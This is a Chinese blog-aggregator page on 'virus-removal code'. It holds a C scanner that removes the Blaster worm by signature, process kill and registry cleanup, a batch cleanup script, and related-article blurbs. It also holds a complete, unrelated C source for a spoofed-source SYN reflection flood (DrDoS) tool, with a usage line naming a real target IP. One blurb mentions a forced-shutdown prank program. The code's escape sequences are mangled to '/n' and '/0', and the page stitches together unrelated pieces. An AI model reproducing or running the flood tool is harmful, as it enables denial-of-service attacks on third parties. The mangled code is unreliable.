清除病毒代码

用Python写的手机杀毒程序代码 print('扫描结果:共发现%d个病毒文件,已删除如下文件:' % len(infected_files))请注意:这只是一个示例代码,实际的病毒扫描程序需要更为复杂的算法和逻辑来确保准确性和安全性。print('扫描结果:未发现病毒文件')2. 如果存在病毒文件,将其删除,并展示删除的文件列表。1. 扫描指定目录下的文件,查找是否存在病毒文件。# 定义一个函数,用于扫描指定目录下的文件。# 定义一个函数,用于判断是否是病毒文件。# 定义一个函数,用于删除指定文件。# 定义一个函数,用于展示扫描结果。 阅读详情

#define DEBUGMSG

#include <windows.h>
#include <windef.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "Psapi.h"

#pragma comment (lib,"Psapi.lib")

#define erron GetLastError ()

#define FIVE 50
#define HIGH 255

TCHAR name[FIVE]={0};    //保存虫虫的文件名+路径
FILE *Gfp=NULL;          //输出到文件

BOOL ScanVXER (LPTSTR V_FileName,long V_FileOffset,int V_Length,TCHAR *V_Contents);
//匹配特征码函数

BOOL ScanFileVXER (LPTSTR FileName);
//文件遍历函数

BOOL ProcessVXER (void);
//枚举进程函数

BOOL KillProc (DWORD ProcessID);
//杀进程函数

BOOL EnablePrivilege(LPTSTR PrivilegeName);
//提升权限函数

BOOL RegDelVXER (void);
//删除注册表项函数

void Usage (LPCTSTR Parameter);
//帮助函数

int main (int argc, TCHAR *argv[])
{
   if (argc!=2)
   {
       Usage(argv[0]);
       return 0;
   }

   #ifdef DEBUGMSG
          Gfp=fopen("VXER.txt","a+");

          if (Gfp==NULL)
          {
              printf("Open /"VXER.txt/" fail/n");
              return 0;
          }

          fprintf(Gfp,"%s/n/n","[-------------------------File list-------------------------]");
   #endif

   if (strlen(argv[1])>10)
   {
       printf("Fine name no larger than /"10/"/n");
       return 0;
   }

   if (!(ScanFileVXER(argv[1])))
   {
       #ifdef DEBUGMSG
              printf("ScanFileVXER() GetLastError reports %d/n",erron);
       #endif
       fclose(Gfp);
       return 0;
   }
   
   if (!(ProcessVXER()))
   {
       #ifdef DEBUGMSG
              printf("ProcessesVXER() GetLastError reports %d/n",erron);
       #endif
       fclose(Gfp);
       return 0;
   }

   if (!(RegDelVXER()))
   {
       #ifdef DEBUGMSG
              printf("RegDelVXER() GetLastError reports %d/n",erron);
       #endif
       fclose(Gfp);    
       return 0;
   }

   fclose(Gfp);
   return 0;
}

BOOL ScanFileVXER (LPTSTR FileName)
{
    WIN32_FIND_DATA FindFileData;
    DWORD lpBufferLength=HIGH;
    TCHAR lpBuffer[HIGH]={0};
    TCHAR DirBuffer[HIGH]={0};
    HANDLE hFind=NULL;
    UINT count=0;

    long FileOffset=0x1784;  //偏移地址
    int FileLength=0x77;     //长度

    TCHAR Contents[]={
    0x49, 0x20, 0x6A, 0x75, 0x73, 0x74, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x73,
    0x61, 0x79, 0x20, 0x4C, 0x4F, 0x56, 0x45, 0x20, 0x59, 0x4F, 0x55, 0x20, 0x53, 0x41, 0x4E, 0x21,
    0x21, 0x20, 0x62, 0x69, 0x6C, 0x6C, 0x79, 0x20, 0x67, 0x61, 0x74, 0x65, 0x73, 0x20, 0x77, 0x68,
    0x79, 0x20, 0x64, 0x6F, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x6D, 0x61, 0x6B, 0x65, 0x20, 0x74, 0x68,
    0x69, 0x73, 0x20, 0x70, 0x6F, 0x73, 0x73, 0x69, 0x62, 0x6C, 0x65, 0x20, 0x3F, 0x20, 0x53, 0x74,
    0x6F, 0x70, 0x20, 0x6D, 0x61, 0x6B, 0x69, 0x6E, 0x67, 0x20, 0x6D, 0x6F, 0x6E, 0x65, 0x79, 0x20,
    0x61, 0x6E, 0x64, 0x20, 0x66, 0x69, 0x78, 0x20, 0x79, 0x6F, 0x75, 0x72, 0x20, 0x73, 0x6F, 0x66,
    0x74, 0x77, 0x61, 0x72, 0x65, 0x21, 0x21};
    //从冲击波中提取出来的,用做特征码

    //获取系统目录的完整路径
    if (GetSystemDirectory(DirBuffer,lpBufferLength)!=0)
    {
        if (SetCurrentDirectory(DirBuffer)!=0) //设置为当前目录
        {
            hFind=FindFirstFile(FileName,&FindFileData);  //查找文件
            if (hFind==INVALID_HANDLE_VALUE)
            {
                #ifdef DEBUGMSG
                       printf("FindFirstFile() GetLastError reports %d/n",erron);
                #endif
                if (hFind!=NULL)
                    FindClose(hFind);
                return FALSE;
            }
            else
            {
                count++;

                //获得文件的完整路径
                if (GetFullPathName(FindFileData.cFileName,lpBufferLength,lpBuffer,NULL)!=0)
                {
                    #ifdef DEBUGMSG
                           fprintf(Gfp,"File:/t/t%s/n",lpBuffer);
                    #else
                           printf("File:/t/t%s/n",lpBuffer);
                    #endif
                }
                else
                {
                    #ifdef DEBUGMSG
                           printf("GetFullPathName() GetLastError reports %d/n",erron);
                    #endif
                    if (hFind!=NULL)
                        FindClose(hFind);
                    return FALSE;
                }
            }
           
            //进行特征码匹配工作
            ScanVXER(FindFileData.cFileName,FileOffset,FileLength,Contents);
        }
    }

    while (FindNextFile(hFind,&FindFileData))  //继续查找文件
    {
           count++;

           //以"."和".."除外
           if (strcmp(".",FindFileData.cFileName)==0||strcmp("..",FindFileData.cFileName)==0)
           {
               #ifdef DEBUGMSG
                      printf("File no include /"./" and /"../"/n");
               #endif
               if (hFind!=NULL)
                   FindClose(hFind);

               fclose(Gfp);
               exit(0);
           }

           if (GetFullPathName(FindFileData.cFileName,lpBufferLength,lpBuffer,NULL)!=0)
           {
               #ifdef DEBUGMSG
                      fprintf(Gfp,"Next File:/t%s/n",lpBuffer);
               #else
                      printf("Next File:/t%s/n",lpBuffer);
               #endif
           }
           else
           {
               #ifdef DEBUGMSG
                      printf("GetFullPathName() GetLastError reports %d/n",erron);
               #endif
               if (hFind!=NULL)
                   FindClose(hFind);

               fclose(Gfp);
               exit(0);
           }
           
           ScanVXER(FindFileData.cFileName,FileOffset,FileLength,Contents);
       
    }

    fprintf(Gfp,"/nFile Total:%d/n/n",count);
    fprintf(Gfp,"%s/n/n","[-------------------------File end---------------------------]/n");

    printf("File Total:%d/n",count);  //打印出查找到的文件各数

    if (hFind!=NULL)
        FindClose(hFind);               //关闭搜索句柄
    return TRUE;
}

BOOL ScanVXER (
LPTSTR V_FileName,  //文件名
long V_FileOffset, //偏移地址
int V_Length,      //长度
TCHAR *V_Contents)  //具体内容
{
    TCHAR FileContents[HIGH]={0};
    int cmpreturn=0;
    FILE *fp=NULL;

    fp=fopen(V_FileName,"rb");  //以二进制只读方式打开

    if (fp==NULL)
    {
        #ifdef DEBUGMSG
               printf("fopen() File open FAIL/n");
        #endif
        fclose(fp);
        return FALSE;
    }

    fseek(fp,V_FileOffset,SEEK_SET);  //把文件指针指向特征码在文件的偏移地址处
    fread(FileContents,V_Length,1,fp);//读取长度为特征码长度的内容
    cmpreturn=memcmp(V_Contents,FileContents,V_Length);
    //进行特征码匹配。失败返回FALSE

    if (cmpreturn==0)
    {
        #ifdef DEBUGMSG
               printf("File match completely/n"); //打印文件匹配消息
        #endif
        strcpy(name,V_FileName);                  //将文件名保存在全局变量name中
        if (fp!=NULL)
            fclose(fp);
        return TRUE;
    }
    else
    {
        fclose(fp);
        return FALSE;
    }

}

BOOL ProcessVXER (void)
{
    DWORD lpidProcess[1024]={0};
    DWORD cbNeeded_1,cbNeeded_2;
    HANDLE hProc=NULL;
    HMODULE hMod[1024]={0};
    TCHAR ProcFile[MAX_PATH];
    TCHAR FileName[FIVE]={0};
    UINT Pcount=0;
    int i=0;

    EnablePrivilege(SE_DEBUG_NAME);   //提升调试进程权限

    fprintf(Gfp,"%s/n/n","[------------------------Process list--------------------------]");

    strcpy(FileName,"C://WINNT//system32//");
    strcat(FileName,name);//把文件名+路径复制到FileName变量中

    //枚举进程
    if (!(EnumProcesses(lpidProcess,sizeof(lpidProcess),&cbNeeded_1)))
    {
        #ifdef DEBUGMSG
               printf("EnumProcesses() GetLastError reports %d/n",erron);
        #endif
        if (hProc!=NULL)
            CloseHandle(hProc);
        return FALSE;
    }

    for (i=0;i<(int)cbNeeded_1/4;i++)
    {
         //打开找到的第一个进程
         hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,lpidProcess[i]);

         if (hProc)
         {
             //枚举进程模块
             if (EnumProcessModules(hProc,hMod,sizeof(hMod),&cbNeeded_2))
             {
                 //枚举进程模块文件名,包含全路径
                 if (GetModuleFileNameEx(hProc,hMod[0],ProcFile,sizeof(ProcFile)))
                 {
                     #ifdef DEBUGMSG
                            fprintf(Gfp,"[%5d]/t%s/n",lpidProcess[i],ProcFile);
                     #else
                            printf("[%5d]/t%s/n",lpidProcess[i],ProcFile); //输出进程
                     #endif
                     //可以考虑将其注释掉,这样就不会输出进程列表了
                     Pcount++;

                     //查找进程中是否包含FileName
                     if (strcmp(FileName,ProcFile)==0)
                     {
                         //如果包含,则杀掉。KillProc为自定义的杀进程函数
                         if (!(KillProc(lpidProcess[i])))
                         {
                             #ifdef DEBUGMSG
                                    printf("KillProc() GetLastError reports %d/n",erron);
                             #endif
                             if (hProc!=NULL)
                                 CloseHandle(hProc);

                             fclose(Gfp);
                             exit(0);
                         }

                         DeleteFile(FileName); //进程杀掉后,再将文件删除
                     }
                 }
             }
         }
    }

    if (hProc!=NULL)
        CloseHandle(hProc);                //关闭进程句柄

    fprintf(Gfp,"/nProcess total:%d/n/n",Pcount);
    fprintf(Gfp,"%s/n/n","[------------------------Process end----------------------------]");

    printf("/nProcess total:%d/n/n",Pcount);  //打印进程各数

    return TRUE;
}

BOOL KillProc (DWORD ProcessID)
{
    HANDLE hProc=NULL;

    //打开由ProcessVXER()传递的进程PID
    hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);

    if (hProc!=NULL)
    {
        //终止进程
        if (!(TerminateProcess(hProc,0)))
        {
            #ifdef DEBUGMSG
                   printf("TerminateProcess() GetLastError reports %d/n",erron);
            #endif
            CloseHandle(hProc);
            return FALSE;
        }
    }
    else
    {
        #ifdef DEBUGMSG
               printf("OpenProcess() GetLastError reports %d/n",erron);
        #endif
        return FALSE;
    }

    if (hProc!=NULL)
        CloseHandle(hProc);

    return TRUE;
}

BOOL EnablePrivilege(LPTSTR PrivilegeName)
{
    HANDLE hProc=NULL,hToken=NULL;
    TOKEN_PRIVILEGES TP;
    hProc=GetCurrentProcess();  //打开当前进程的一个伪句柄

    //打开进程访问令牌,hToken表示新打开的访问令牌标识
    if(!OpenProcessToken(hProc,TOKEN_ADJUST_PRIVILEGES,&hToken))
    {
       #ifdef DEBUGMSG
              printf("OpenProcessToken() GetLastError reports %d/n",erron);
       #endif
       goto Close;
    }

    //提升权限
    if(!LookupPrivilegeValue(NULL,PrivilegeName,&TP.Privileges[0].Luid))
    {
        #ifdef DEBUGMSG
               printf("LookupPrivilegeValue() GetLastError reports %d/n",erron);
        #endif
        goto Close;
    }

    TP.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    TP.PrivilegeCount=1;

    //允许权限,主要根据TP这个结构
    if(!AdjustTokenPrivileges(hToken,FALSE,&TP,sizeof(TP),0,0))
    {
        #ifdef DEBUGMSG
               printf("AdjustTokenPrivileges() GetLastError reports %d/n",erron);
        #endif
        goto Close;
    }

    Close:

          if (hProc!=NULL)
              CloseHandle(hProc);

          if (hToken!=NULL)
              CloseHandle(hToken);

          return FALSE;

    if (hProc!=NULL)
        CloseHandle(hProc);

    if (hToken!=NULL)
        CloseHandle(hToken);

    return TRUE;
}

BOOL RegDelVXER (void)
{
   HKEY hkey;
   DWORD ret=0;

   //打开注册表的Run项
   ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                    "SOFTWARE//Microsoft//Windows//CurrentVersion//Run//",
                    0,
                    KEY_ALL_ACCESS,
                    &hkey);

   if (!(ret==ERROR_SUCCESS))
   {
       #ifdef DEBUGMSG
              printf("RegOpenKeyEx() GetLastError reports %d/n",erron);
       #endif
       return FALSE;
   }

   //删除键值windows auto update。
   ret=RegDeleteValue(hkey,"windows auto update");

   if (ret==ERROR_SUCCESS)
   {
       #ifdef DEBUGMSG
              printf("Success Delete/n");
       #endif
   }
   else
   {
       #ifdef DEBUGMSG
              printf("RegDeleteValue() GetLastError reports %d/n",erron);
       #endif
       RegCloseKey(hkey);
       //exit(0);
   }

   RegCloseKey(hkey);  //关闭打开的注册表项
   return TRUE;
}

void Usage (LPCTSTR Parameter)
{
    LPCTSTR Path="%SystemRoot%//system32//";

    fprintf(stderr,"============================================================================/n"
            "      杀毒软件的简单实现/n"
            "环境:Win2K Adv Server + Visual C++ 6.0/n"
            "作者:dahubaobao/n"
            "主页:www.RingZ.org/n"
            "OICQ:382690/n"
            "邮件:382690@qq.com/n"
            "声明:本帖由环行区(RingZ)原创,转载请注明出处,谢谢!/n/n"
            "使用方法:/n"
            "%s 文件名。例如:%s msblast.exe or %s *.exe /n/n"
            "注意事项:/n"
            "本程序只是简单介绍杀毒软件的编写方法,所以有很多不完善的地方,包括:/n"
            "1,本程序是以冲击波蠕虫做的例子/n"
            "2,文件遍历只搜索了%s目录下的文件/n"
            "3,本程序不能查杀冲击波变种/n/n"
            "本程序只是用做代码交流,如有错误,还请多多包含!/n"
            "============================================================================"
            ,Parameter,Parameter,Parameter,Path);
}

#define DEBUGMSG

#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32.lib")

#define erron GetLastError()
#define WSAerron WSAGetLastError()

typedef struct iphdr   //IP首部
{
   UCHAR Verlen;      //4位版本号+4位长度
   UCHAR Tos;         //8位服务类型TOS
   USHORT Total_len;  //16位总长度
   USHORT Idnet;      //16位标识
   USHORT Flags;      //16位标志
   UCHAR Ttl;         //8位TTL
   UCHAR Proto;       //8位协议
   USHORT Checksum;   //16位校验和
   ULONG SourceIP;    //32位源地址
   ULONG DestIP;      //32目的地址
}IPHDR,*PIPHDR,*LPIPHDR;

typedef struct tcphdr  //TCP首部
{
   USHORT Sport;      //16位源端口
   USHORT Dport;      //16位目的端口
   ULONG Seq;         //32位序列号
   ULONG Ack;         //32位识别号
   UCHAR Lenres;      //4位长度+6位保留字
   UCHAR Flags;       //6位标志
   USHORT Winsize;    //16位窗口值
   USHORT Checksum;   //16位校验和
   USHORT Urp;        //16位紧急数据偏移量
}TCPHDR,*PTCPHDR,*LPTCPHDR;

typedef struct psdhdr  //TCP伪首部
{
   ULONG Saddr;       //32位源地址
   ULONG Daddr;       //32位目的地址
   TCHAR mbz;         //没用
   TCHAR Protol;      //协议
   USHORT Tcplen;     //长度
}PSDHDR,*PPSDHDR,*LPPSDHDR;

typedef struct drdossyninfo   //参数结构
{
   UINT TimeOut;             //超时时间
   UINT IPListNum;           //IP列表计数器
   UINT PortListNum;         //端口列表计数器
   ULONG AttackSourceIP;     //目的IP,设置为源IP
   USHORT AttackSourcePort;  //目的端口,设置为源端口
   TCHAR DestIP[1986][16];   //存放IP列表,反射源,设置为目的IP
   TCHAR DestPort[1986][8];  //存放端口列表,反射源,设置为目的端口
}DRDOSSYNINFO,*PDRDOSSYNINFO,*LPDRDOSSYNINFO;

DWORD WINAPI DrDosSynFlooder (LPVOID lpdrdos);
//洪水攻击主函数

USHORT checksum(USHORT *buffer, int size);
//计算校验和

void Usage (LPCTSTR Parameter);
//帮助函数

int main (int argc, TCHAR *argv[])
{
   DRDOSSYNINFO DrDosSynInfo;     //参数结构
   HANDLE hThread[MAX_PATH];      //线程句柄
   UINT MaxThread=0,ThreadNum=0;  //线程最大值和线程计数器
   UINT DestNum=0;                //目的IP和端口的计数器
   TCHAR StdinIP[16]={0},StdinPort[8]={0};  //存放目的IP和端口
   TCHAR *Find=NULL;
   FILE *fp=NULL;

   if (argc<=2)
   {
       Usage(argv[0]);
       return 0;
   }

   //IP不能大于15
   if (strlen(argv[1])<=15)
       DrDosSynInfo.AttackSourceIP=ntohl(inet_addr(argv[1]));
   else
   {
       #ifdef DEBUGMSG
              printf("Internet address no larger than /"15/"/n");
       #endif
       return 0;
   }

   //端口不能小于0和大于65535
   if (atoi(argv[2])>0&&atoi(argv[2])<65535)
       DrDosSynInfo.AttackSourcePort=atoi(argv[2]);
   else
   {
       #ifdef DEBUGMSG
              printf("Port no less than /"0/" and larger than /"65535/"");
       #endif
       return 0;
   }

   //发送超时
   if (argc>3)
       DrDosSynInfo.TimeOut=atoi(argv[3]);
   else
       DrDosSynInfo.TimeOut=666;    //默认

   //线程最大值
   if (argc>4)
   {
       if (atoi(argv[4])<=sizeof (ULONG)*8)
           MaxThread=atoi(argv[4]);
       else
       {
           #ifdef DEBUGMSG
                  printf("Thread num no less than /"%d/"/n",sizeof (ULONG)*8);
           #endif
           return 0;
       }
   }
   else
       MaxThread=1;    //默认

   //参数太多了
   if (argc>5)
   {
       Usage(argv[0]);
       return 0;
   }

   #ifdef DEBUGMSG
          //输出参数的详细信息
          fprintf(stderr,"AttackIP:%s/n"
                  "AttackPort:%d/n"
                  "TimeOut:%d/n"
                  "MaxThread:%d/n",argv[1],DrDosSynInfo.AttackSourcePort
                  ,DrDosSynInfo.TimeOut,MaxThread);
   #endif

   fp=fopen("DestIP.txt","r");   //打开存放目的IP的文件

   if (fp==NULL)
   {
       #ifdef DEBUGMSG
              printf("Open /"DestIP.txt/" fail/n");
       #endif
       return 0;
   }

   //检测EOF
   while (!feof(fp))
   {
          //读取目的IP到StdinIP
          fgets(StdinIP,sizeof (StdinIP),fp);

          Find=strchr(StdinIP,'/n');   //查找/n
          if (Find)
              *Find='/0';              //替换为/0

          //拷贝到结构中
          strcpy(DrDosSynInfo.DestIP[DestNum],StdinIP);
          //printf("DestIP:%s/n",DrDosSynInfo.DestIP[DestNum]);   //输出目的IP
          DestNum++;     //计数器递增

          if (DestNum==1986)   //数组满了,跳出循环
          {
              printf("IP Array full/n");
              break;
          }
   }

   DrDosSynInfo.IPListNum=DestNum-1;              //总共读取了多少IP
   printf("/nIP List total num:/t%d/n",DestNum);  //输出总共读取了多少IP

   DestNum=0;     //重新置0,以便用于读取端口
   fclose(fp);    //关闭文件指针

   fp=fopen("DestPort.txt","r");    //打开存放目的端口的文件

   if (fp==NULL)
   {
       #ifdef DEBUGMSG
              printf("Open /"DestPort.txt/" fail/n");
       #endif
       return 0;
   }

   while (!feof(fp))
   {
          //读取目的端口到StdinPort
          fgets(StdinPort,sizeof (StdinPort),fp);

          Find=strchr(StdinPort,'/n');
          if (Find)
              *Find='/0';

          strcpy(DrDosSynInfo.DestPort[DestNum],StdinPort);
          //printf("DestPort:%s/n",DrDosSynInfo.DestPort[DestNum]);
          DestNum++;

          if (DestNum==1986)
          {
              printf("Port Array full/n");
              break;
          }
   }

   DrDosSynInfo.PortListNum=DestNum-1;               //总共读取了多少端口
   printf("Port List total num:/t%d/n",DestNum);     //输出总共读取了多少端口
   //现在结构中已经有了反射源,呵呵

   Sleep(500);
   printf("/nStarting....../n");

   //循环创建攻击线程
   for (ThreadNum=0;ThreadNum<MaxThread;)
   {
        hThread[ThreadNum]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)DrDosSynFlooder,
                                       (LPVOID)&DrDosSynInfo,0,NULL);

        if (hThread[ThreadNum]==NULL)
        {
            #ifdef DEBUGMSG
                   printf("CreateThread() GetLastError reports %d/n",erron);
            #endif
            goto Clean;
        }

        ThreadNum++;
        Sleep(500);     //等待线程初始化完毕
   }

   printf("Input ctrl+c for exit/n");   //CTRL+C退出

   WaitForMultipleObjects(ThreadNum,hThread,TRUE,INFINITE);

   Clean:

         if (hThread!=NULL)
             CloseHandle(hThread);   //释放线程句柄

         if (fp!=NULL)               //关闭文件指针
             fclose(fp);

         return 0;
}

DWORD WINAPI DrDosSynFlooder (LPVOID lpdrdos)
{
     LPDRDOSSYNINFO lpDrDosSynInfo=(LPDRDOSSYNINFO)lpdrdos;
     WSADATA wsadata;
     SOCKET sock=NULL;
     struct sockaddr_in sai;
     TCHAR DestHost[16]={0},DestPort[8]={0};   //目的IP和目的端口
     IPHDR ipHeader;                           //IP首部
     TCPHDR tcpHeader;                         //TCP首部
     PSDHDR psdHeader;                         //TCP伪首部
     BOOL Flag=TRUE;
     UINT IPNum=0,PortNum=0;                   //目的IP和目的端口计数器
     int DataSize=0,TimeOut=0;
     int dSyn=0,nRet=0;

     nRet=WSAStartup(MAKEWORD(2,2),&wsadata);    //初始化

     if (nRet)
     {
         #ifdef DEBUGMSG
                printf("WSAStartup() error: %d/n",nRet);
         #endif
         return 0;
     }

     sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);    //建立SOCKET

     if (sock==INVALID_SOCKET)
     {
         #ifdef DEBUGMSG
                printf("socket() GetLastError reports %d/n",WSAerron);
         #endif
         goto Clean;
     }

     //设置IP_HDRINCL,自己填充数据包
     nRet=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&Flag,sizeof (Flag));

     if (nRet==SOCKET_ERROR)
     {
         #ifdef DEBUGMSG
                printf("Set IP_HDRINCL/n");
                printf("setsockopt() GetLastError reports %d/n",WSAerron);
         #endif
         goto Clean;
     }

     //设置发送超时
     TimeOut=lpDrDosSynInfo->TimeOut;
     nRet=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char *)&TimeOut,sizeof (TimeOut));

     if (nRet==SOCKET_ERROR)
     {
         #ifdef DEBUGMSG
                printf("Set SO_SNDTIMEO/n");
                printf("setsockopt() GetLastError reports %d/n",WSAerron);
         #endif          
         goto Clean;
     }

     //填充地址结构
     memset(&sai,0,sizeof (sai));
     sai.sin_family=AF_INET;
     sai.sin_port=htons(lpDrDosSynInfo->AttackSourcePort);
     sai.sin_addr.s_addr=htonl(lpDrDosSynInfo->AttackSourceIP);

     for (IPNum=0,PortNum=0;;IPNum++,PortNum++)
     {
          TCHAR SendBuf[256]={0};    //发送缓冲

          //从结构中提取出目的IP,并拷贝到DestHost中,作为反射源
          strcpy(DestHost,lpDrDosSynInfo->DestIP[IPNum]);
          //printf("%s/n",DestHost);

          //从结构中提取出目的端口,并拷贝到DestPort中,作为反射源
          strcpy(DestPort,lpDrDosSynInfo->DestPort[PortNum]);
          //printf("%s/n",DestPort);

          //填充IP首部
          ipHeader.Verlen=(4<<4 | sizeof (ipHeader)/sizeof (ULONG));
          ipHeader.Tos=0;
          ipHeader.Total_len=htons(sizeof (ipHeader)+sizeof (tcpHeader));
          ipHeader.Idnet=1;
          ipHeader.Flags=0;
          ipHeader.Ttl=128;
          ipHeader.Proto=IPPROTO_TCP;
          ipHeader.Checksum=0;
          ipHeader.SourceIP=htonl(lpDrDosSynInfo->AttackSourceIP);  //受害者IP
          ipHeader.DestIP=inet_addr(DestHost);                      //目的IP

          //填充TCP首部
          tcpHeader.Sport=htons(lpDrDosSynInfo->AttackSourcePort);  //受害者端口
          tcpHeader.Dport=htons(atoi(DestPort));                    //目的端口
          tcpHeader.Seq=1986;
          tcpHeader.Ack=1;
          tcpHeader.Lenres=(sizeof (tcpHeader)/4<<4|0);
          tcpHeader.Flags=2;
          tcpHeader.Winsize=1986;
          tcpHeader.Checksum=0;
          tcpHeader.Urp=0;

          //填充TCP伪首部
          psdHeader.Saddr=ipHeader.SourceIP;
          psdHeader.Daddr=ipHeader.DestIP;
          psdHeader.mbz=0;
          psdHeader.Protol=IPPROTO_TCP;
          psdHeader.Tcplen=htons(sizeof (tcpHeader));

          //计算TCP校验和
          memcpy(SendBuf,&psdHeader,sizeof (psdHeader));
          memcpy(SendBuf+sizeof (psdHeader),&tcpHeader,sizeof (tcpHeader));
          tcpHeader.Checksum=checksum((USHORT *)SendBuf,sizeof (psdHeader)+sizeof (tcpHeader));

          ////计算IP校验和
          memcpy(SendBuf,&ipHeader,sizeof (ipHeader));
          memcpy(SendBuf+sizeof (ipHeader),&tcpHeader,sizeof (tcpHeader));
          memset(SendBuf+sizeof (ipHeader)+sizeof (tcpHeader),0,4);
          DataSize=sizeof (ipHeader)+sizeof (tcpHeader);   //数据包大小
          ipHeader.Checksum=checksum((USHORT *)SendBuf,sizeof (ipHeader)+sizeof (tcpHeader));

          memcpy(SendBuf,&ipHeader,sizeof (ipHeader));

          //发送出去
          dSyn=sendto(sock,SendBuf,DataSize,0,(struct sockaddr*)&sai,sizeof (sai));

          if (dSyn==SOCKET_ERROR)
          {
              #ifdef DEBUGMSG
                     printf("sendto() GetLastError reports %d/n",WSAerron);
              #endif
              goto Clean;
          }

          //IP读取到了末尾,重新置0
          if (IPNum==lpDrDosSynInfo->IPListNum)
              IPNum=0;

          //端口,其他同上
          if (PortNum==lpDrDosSynInfo->PortListNum)
              PortNum=0;
     }

     Clean:

          if (sock!=NULL)         //关闭SOCKET
              closesocket(sock);

          WSACleanup();
          return 1;
}

USHORT checksum(USHORT *buffer, int size)
{
      ULONG cksum=0;

      while(size >1)
      {
            cksum+=*buffer++;
            size-=sizeof(USHORT);
      }

      if(size)
         cksum+=*(UCHAR*)buffer;

      cksum=(cksum>>16)+(cksum&0xffff);
      cksum+=(cksum>>16);
      return (USHORT)(~cksum);
}

void Usage (LPCTSTR Parameter)
{
    fprintf(stderr,"============================================================================/n"
            "      dahubaobao洪水程序之---Syn反射洪水攻击/n"
            "环境:Win2K Adv Server + Visual C++ 6.0/n"
            "作者:dahubaobao/n"
            "主页:www.RingZ.org/n"
            "OICQ:382690/n"
            "邮件:382690@qq.com/n"
            "声明:本帖由环行区(RingZ)原创,转载请注明出处,谢谢!/n/n"
            "使用方法:/n"
            "%s 目标IP 目标端口 发送超时 线程最大值/n"
            "例:%s 218.68.19.86 80 888 10/n/n"
            "注意事项:/n"
            "程序的反射源由/"DestIP.txt/"和/"DestPort.txt/"提供/n"
            "用于保存反射源的数组大小为1986,所以不要超过这个大小/n"
            "本程序只是用做代码交流,如有错误,还请多多包含!/n"
            "============================================================================"
            ,Parameter,Parameter);
}


cmd杀毒代码 使用方法: 创建文本文档将代码复制进去将后缀txt改为bat @echo off taskkill /f /im sxs.exe /t taskkill /f /im SVOHOST.exe /t c: attrib sxs.exe -a -h -s del /s /q /f sxs.exe attrib autorun.inf -a -h -s del /s /q /f autorun.inf d: attrib sxs.exe -a -h -s del /s /q /f sxs.ex 阅读详情

相关推荐

java写病毒程序代码_一个用JAVA写的清除EXE病毒文件的程序(转)

Clear.java这是一个主类,主要是负责运行程序和参数检查,不是核心程序代码:import java.io.*;public class Clear{public static void main(String[] args){try {ClearLogo1 clearLogo=new ClearLogo1();if(clearLogo.OSHasViru()){clearLogo.killV...

weixin_39948824的博客 1079

python简单的病毒编程代码,python做杀毒软件代码

这是一个简易的欺骗病毒,打开后好像一个下载程序,在下载完之后就强制关机,但其中有3次break的补救机会(即直接结束结束),其关机原理是命令行指令“shutdown -s -t 60”(即六十秒后关机)话不多说,上代码!大家好,本文将围绕python简单的病毒编程代码展开说明,python做杀毒软件代码是一个很多人都想弄明白的事情,想搞清楚如何用python制作病毒需要先了解以下几个事情。

aq8821的博客 2176

自制杀毒软件C++源码

自制杀毒软件C++源码

杀毒程序(python)

杀毒程序代码仅供参考。(紧急情况请用正规杀毒软件)

hackerVDM的博客 570

为什么我把「大模型Clouder认证:基于百炼平台构建智能体应用」作为大模型学习的第一站?从 0 到拿证全流程经验分享

【摘要】作为一个刚拿下「大模型 Clouder 认证:基于百炼平台构建智能体应用」的过来人,想在开头就和大家聊聊这个认证的特殊意义 —— 在企业加速 AI 落地的今天,能用低代码快速构建智能体应用,已经成为 AI 从业者的核心竞争力。无论是企业微信客服提效、钉钉机器人自动化办公,还是网站智能助手升级,这些场景化能力正是当下数字化转型的刚需。

davidkorhenn的博客 1531

ARM CoreSight架构

CoreSight架构是现代复杂SoC的“飞行数据记录仪”(黑匣子)和“精密诊断仪”的结合体。它彻底改变了嵌入式系统的调试方式,从传统的“盲人摸象”变成了拥有“上帝视角”,是ARM生态系统能够支撑起从微控制器到高性能服务器芯片如此广泛产品线的重要基石技术之一。

guigenyi的专栏 1425

自已写的一段清除Vking病毒文件感染的代码

一次不小心误中了威金病毒(即VKING)的变种,机器上的所有EXE文件都感染了,EXE文件都变成了DOS程序的图标.到网上找遍了杀毒的工具,很遗憾的是没有找到可以真正清除病毒的工具,一般都是直接把文件删除,说是感染了病毒. 由于不想重装系统,有很多东东要装,太累人,没办法,只有自已手动解决.在清除病毒驻留程序后,要小心不能再点击那些已经病毒感染变成DOS图标的文件,否则就会再次感染.找一个被病

zjh824的blog 1919

Fusion 360嵌入式外壳建模实战:从草图到可装配结构

参数化三维建模是现代电子结构设计的核心能力,其本质是通过几何约束与特征驱动实现设计意图的精确表达和快速迭代。Fusion 360作为集成CAD/CAM/CAE的云端平台,以时间轴驱动的参数化工作流、基于基准面的草图约束机制和面向制造的特征操作逻辑,显著提升了嵌入式硬件的结构验证效率。该技术价值在于支持工程师在无专业机械背景前提下,独立完成PCB适配、散热布局、接口开孔与装配干涉检查等关键任务,广泛应用于3D打印原型、CNC加工外壳及IoT终端结构开发。本文以ESP32冰箱监控终端为实例,详解从基准定义、草图

weixin_35671843的博客 590

如何清除计算机上的病毒代码

清除计算机上的病毒是一项复杂的工作,涉及多个步骤和技术。重要的是要保持系统和反病毒软件的更新,避免下载不明来源的文件,并定期备份数据以防万一。当发现系统感染病毒时,应及时采取措施清除,并修复可能受到破坏的系统组件。

@云安全小杜 1081

LabVIEW Modbus TCP通信避坑指南:解决连接中断、服务器异常与自动重连问题

本文详细解析了LabVIEW环境下Modbus TCP通信的常见问题,包括连接中断、服务器异常等,并提供了自动重连机制的实现方案。通过优化错误处理、超时参数和资源管理,帮助开发者构建更稳定的工业级Modbus TCP客户端,显著提升通信可靠性。

weixin_42525211的博客 425

